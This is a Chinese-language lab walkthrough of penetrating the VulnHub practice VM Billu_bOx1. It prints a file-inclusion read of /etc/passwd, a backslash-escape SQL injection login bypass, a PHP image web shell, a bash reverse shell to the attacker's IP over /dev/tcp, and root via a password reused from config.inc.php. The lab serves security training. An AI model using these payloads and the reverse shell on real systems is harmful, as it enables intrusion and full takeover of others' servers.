【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】

本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip

靶机名称:Billu_bOx1

测试时间:2026/3/27

注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:
bash 复制代码
ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:
bash 复制代码
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178

二. 信息收集

    1. 扫描全部端口
bash 复制代码
nmap -A -p 1-64000 192.168.253.178

得到开放端口有

22:用于ssh登录

80:网页默认的 HTTP 端口

    1. Web网页目录扫描:
bash 复制代码
dirb http://192.168.253.178     或者

dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看

    1. web指纹识别
bash 复制代码
 whatweb  http://192.168.253.178
    1. 打开网页收集信息
      直接访问192.168.253.178

      一个登录页面,add页面则是上传文件页面

      试了一下上传不成功,可能要登录才能成功
      访问test目录页面

      他说file参数为空,所以我们尝试文件包含,
      访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

      或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

不过没得到什么信息,我们看看初始页面源代码

bash 复制代码
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容

bash 复制代码
GIF89a
<?php system($_POST['cmd']); ?>

注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)

先在终端监听

bash 复制代码
nc -lnvp 1234

然后更改cmd命令

bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"

监听成功

三. 漏洞发现与利用

Web漏洞

漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞

利用过程:

  1. 文件包含查看初始页面源码,知道初始页面存在漏洞
  2. 根据源码进行sql注入成功登录
  3. 上传图片马成功执行命令,进而执行反弹shell命令

四. 权限提升

获得一个交互性更好的bash

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

id或whoami查看自己身份

查看内核版本

bash 复制代码
uname -a

查看当前目录

bash 复制代码
ls

进入phpmy目录

bash 复制代码
cd phpmy

再查看目录下文件

bash 复制代码
ls

发现数据库文件config.inc.php,我们查看文件内容

bash 复制代码
cat config.inc.php

得到一个用户名和密码,尝试登录

bash 复制代码
su root

输入刚才得到的密码:roottoor

成功得到root权限

五.总结与反思

本次测试主要难点:

  1. 代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。

  2. 图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。

  3. 配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户

学到的技巧:

  1. 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
  2. SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
  3. 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
  4. 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
  5. 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。

该靶机漏洞总结:

本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。

相关推荐
云水一下3 小时前
零基础玩转bWAPP靶场(三十):XML/XPath 注入(登录表单)
xml·web安全·bwapp
紫禁玄科6 小时前
勒索软件攻击深度解析
web安全·网络安全·系统安全
云水一下6 小时前
零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)
xml·web安全·bwapp
treesforest17 小时前
IP定位技术在网络犯罪侦查中的应用与价值
网络·网络协议·tcp/ip·网络安全·ip归属地查询·反欺诈
笨鸟先飞,勤能补拙17 小时前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
笨鸟先飞,勤能补拙20 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub20 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
为自己_带盐1 天前
安敢越雷池一步?浅尝雷池WAF社区版
运维·web安全
早睡早起身体好1231 天前
为什么 Network 中会出现两个同名请求?——CORS 预检请求学习笔记
网络·笔记·学习·网络安全
niaiheni1 天前
红队实战:记一次Spring Cloud Gateway SpEL表达式注入到哥斯拉内存马(CVE-2022-22947)
web安全·spring cloud·网络安全